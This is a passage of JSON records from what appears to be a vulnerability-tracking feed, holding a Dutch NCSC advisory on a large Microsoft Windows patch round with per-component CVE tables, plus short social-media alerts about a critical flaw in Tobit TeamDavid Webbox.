    |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-14T19:01:51.467712Z"}, {"uuid": "704b2e69-aa67-41b1-91ea-86c25f7bb322", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54211", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3msio2qi22u2l", "content": "CRITICAL out-of-bounds write in Tobit TeamDavid Webbox (CVE-2026-54211) enables server crash & possible RCE for authenticated users. Restrict access, monitor for anomalies, await patch. https://radar.offseq.com/threat/cve-2026-54211-cwe-787-out-of-bounds-write-in-tobit-laboratories-ag-teamdavid-d...", "creation_timestamp": "2026-08-07T13:30:19.599879Z"}, {"uuid": "5e087885-5bbe-4fa5-b692-462f974035f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54211", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/117054466734874941", "content": "Tobit TeamDavid (Webbox \u2264 Rollout 524) hit by CRITICAL buffer overflow (CVE-2026-54211). Authenticated attackers can crash servers; possible RCE if stack canary is disclosed. Restrict access & monitor. No patch yet. https://radar.offseq.com/threat/cve-2026-54211-cwe-787-out-of-bounds-write-in-tobit-laboratories-ag-teamdavid-dd683c887b0f0b7a #OffSeq #Vulnerability #InfoSec", "creation_timestamp": "2026-08-07T13:32:27.502690Z"}, {"uuid": "6d8d2517-31e1-4a14-812f-142c010658cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54122", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van 